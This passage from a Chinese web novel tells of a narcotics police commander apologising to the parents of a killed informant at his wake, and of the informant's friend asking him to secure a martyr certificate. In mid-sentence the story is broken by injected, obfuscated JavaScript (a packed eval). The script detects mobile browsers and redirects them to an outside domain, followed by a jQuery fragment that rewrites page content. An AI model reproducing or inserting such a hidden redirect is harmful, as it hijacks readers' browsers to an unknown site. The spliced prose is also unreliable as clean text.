三人一齐上阵,总算是把叶锦书拉开了,吴父吴母也急匆匆地赶了过来。
不能吓到两位长辈,叶锦书只好拉回残存的理智,强压住怒气,他大口喘着气,连呼吸声都在颤抖。
吴业阳出事之后,除了跟医院和殡仪馆的必要沟通,叶锦书几乎切断了对外社交,别说吴业阳的朋友和曾经的同事,连滨海分局的领导来了,他眼皮都没抬一下,这还是唯一一个,一出现就惹得叶锦书暴怒的人。
虽然这人没有穿警服,但吴父的直觉告诉他这人也是警察。
吴父朝顾亦然点了点头,试探着开口:“请问你是……”
顾亦然站得笔直,郑重地向他们自我介绍:“吴爸爸、吴妈妈,你们好,我是业阳公大的师兄,现任C市公安局禁毒支队长,我叫顾亦然,也是业阳参与的这次行动的总指挥……”
顾亦然这话说完,吴母脚下一软,吴父连忙扶住她,看着眼前的顾亦然,也有些不知所措,他没想到吴业阳的死竟然和这样的大领导有关。
叶锦书也奋力挣扎起来,他是想要去扶吴母,拦着他的三人都能察觉到,交换了一个眼神后,默契地松了手,叶锦书也一步跨过去扶住了吴母。
顾亦然深吸了一口气,突然弯下腰,朝他们深深鞠了一躬,哽咽着开口:“非常抱歉,我没能把业阳带回来……”
顾亦然保持着这个鞠躬的姿势,他听到吴母哭出了声音,听到了有人在叹息,他知道这一切都是自己的错。
一只皱巴巴的大手伸了过来,顾亦然被他扶着直起身子,眼前的吴父红着眼眶,脸上没有愤怒,似乎还有些无奈,连询问都小心翼翼:“这次行动,阳阳帮到警方了吗?”
顾亦然的鼻尖一酸,用力地点点头,一口气堵在喉咙,张嘴了两次才发出声音来:“嗯!”他深吸了一口气,尽可能让自己的声音平稳一些,“全靠业阳,以身入局,让毒贩带走他,从而让我们得知了毒贩真正的交易地点,他在手无寸铁的情况下,制服了两个持枪的毒贩,从现场的血迹来看,还打伤了另一个毒贩,我们在行动中抓获毒贩19人,缴获青盐110公斤,阻止了毒贩的交易……”
吴父听完眼含热泪,却是欣慰地点了点头,如释重负:“那就好……那就好……”
顾亦然望着眼前这个男人,他苍老、疲惫、悲伤,得知自己是那个“罪魁祸首”,没有半句责怪,竟是在欣慰儿子在最后时刻帮助了警方。
“阳阳当警察的时候,时不时就会给我和他妈妈做心理建设,说哪天他要是殉职了,让我们千万不要伤心,要为他感到自豪……怎么可能不伤心呢……”吴父苦笑,“他被开除,其实我倒没有多难过,我们当父母的,只想要孩子好好活着,离那些危险越远越好……可是孩子不这么想,他从小就想当警察,想抓坏人,想保护人民,当不了警察,好像活着的意义都被剥夺了……”
吴父说着看转头看向叶锦书,叶锦书也看向吴父,胸中的怒火被他眼里的泪水浇熄,只剩下锥心刺骨的痛。
“我真的很感谢小叶,能够给阳阳找到事情做,我知道,阳阳应该不只是在开酒吧,那个环境下能接触到太多人,鱼龙混杂,我一开始还有点担心他会变坏,但一直以来,他都和小叶保持着联系,我相信只要还和警察一起玩,就不会走上歧途……今天接到电话,说孩子中枪了,我还以为他卷入了什么‘帮派之争’……加上送他到医院的是警察,我就更担心了……”
吴父又回头看向顾亦然:“可现在真相大白了,阳阳没有做任何违法乱纪的事情,他是在帮助警方执行任务……领导,你不用自责,这是这孩子的命,他为禁毒事业做出了贡献,孩子死而无憾,我们做父母的,也理应为他感到自豪……”
“业阳曾是非常优秀的人民警察,他离开警队的事情,我也有所耳闻,换做是我在现场,可能也不会有比他更好的处理方法……这不是他的错,是规矩太死板,失去业阳,是警队的损失……”
这迟来的无罪判决从领导的嘴里说出来,虽然在事实上已经没有任何意义,但是心理安慰的效果却不小,提到吴业阳的死都强忍着眼泪的吴父,在听到领导说当年的事情不是吴业阳的错之后,不住地点头,老泪纵横。
吴父抹着眼泪侧身让开,示意身后的冰棺。
顾亦然的视线扫过叶锦书,叶锦书闭上眼,最终还是默许了。
顾亦然走到冰棺前,吴业阳静静地躺在里面,悔恨的情绪在这一秒几乎到达顶峰——再快一步就好了,如果能够再快一步赶到现场,是不是就能救下他,抓住秦阳呢?
“成功”只是数据上反馈出来的,但对于顾亦然这个行动总指挥而言,没有让所有参与行动的人全身而退,害重要的线人牺牲,这就是彻头彻尾的失败。
顾亦然给吴业阳上了香,认真地鞠躬默哀,他有很多话没来得及和吴业阳说,他们约好这次任务结束后,商量怎么接触打入盐帮高层的那个卧底,顾亦然的警察身份有诸多不便,很可能会给那位带来麻烦,所以更多的时候需要依靠吴业阳,他们还有一个很大的计划等待执行,他们约好要做那位深入敌营孤立无援的卧底最坚实的后盾,可转眼的工夫,就又只剩下顾亦然了。
“领导,感谢你来送阳阳最后一程,已经很晚了,你今天也辛苦了,快些回去休息了吧……”身旁传来吴父的声音。
顾亦然这才睁开双眼,转身又朝两位长辈微微颔首,抬眼看向站在吴母身边的叶锦书,平复了一下自己的情绪,开口道:“抱歉,明明业阳是你的线人……他知道如果告诉你,你一定会阻止他做危险的事情,所以他才选择告诉了我。但现在无论我说什么,也无法改变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258672|168741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事实,都是我的错,让他以身犯险,又没能把他带回来,都是我对行动危险程度的错误估量,害他在最后那一刻,即使拼尽了全力,也没能搏得那一线生机……”
“当然都是你的错了,你又不以死谢罪,在这里说什么漂亮话呢?”
“小叶!”吴母一把抓住叶锦书的手,又转头向顾亦然道歉,“对不起领导!孩子不是这个意思!你别往心里去!我知道你也很难过很自责,我们们也很难过,但这是阳阳的选择,对他来说也是好的结果,你千万不要把错误都归咎在自己身上,你们的工作时刻都在如此危险的环境下,你们都是很了不起的人!”
顾亦然接受了吴母的善意,努力朝她扯了扯嘴角,又看向叶锦书:“业阳说,旧唱片的酒窖里,有他留给你的东西,你看过之后,应该会理解他。”
叶锦书一怔,追问:“什么东西?”
顾亦然摇头:“我也不知道,那是他留给你的东西,我也不便过问……我要说的就是这些了,吴爸爸、吴妈妈,请节哀,那我就先走了。”
*
一直到顾亦然的身影消失在门口,夏思勉悬着的心才落了下来,以叶锦书现在的精神状态,躁狂发作起来肯定会伤到人,还好刚才没有打起来。
叶锦书吩咐袁家兄弟扶吴父吴母去休息,转身要往门口走,夏思勉赶紧叫住他:“你干嘛去?”
“上厕所,”叶锦书不耐烦,但看上去反倒是正常了许多,“你就待在这里守着,我马上回来。”
叶锦书头也不回地走出了告别厅的大门。
离开门口的范围后,叶锦书加快脚步跑了起来,终于在一楼大厅追上了顾亦然。
听到身后急促的脚步声,顾亦然也停下脚步转过身,他知道该来的总会来,他不会回避,只是不想在吴业阳和吴父吴母面前闹得太难看。
倒不如说,他很渴望叶锦书能够给他几拳,这样他心里或许会好受一些。
但叶锦书却在顾亦然几步之外停下了脚步,他胸口起伏着,开口道:“我要你帮我做件事。”
竟然不是来找自己算账的,顾亦然迟疑着点了点头:“请说。”
“《烈士证明书》……我不管你用什么手段,怎么争取,我要你,亲自送到叔叔阿姨的手里,让他们知道,他们的儿子,是为了禁毒,为了警方,为了人民而死的。”
刚在告别厅一直强忍着眼泪,告诉自己没有资格落泪的顾亦然,在听到叶锦书这番话后,眼泪竟毫无征兆的地从眼尾滑落了下来。
心脏的抽疼慢了半拍,但强度惊人,几乎抽走了浑身的力气,顾亦然倒吸了一口凉气,说不出话,只能点头回应。
叶锦书的声音也有些发哽:“你搞定了联系我,我会再给你一笔钱,你到时候一起交给他们,就说是政府发的抚恤金。”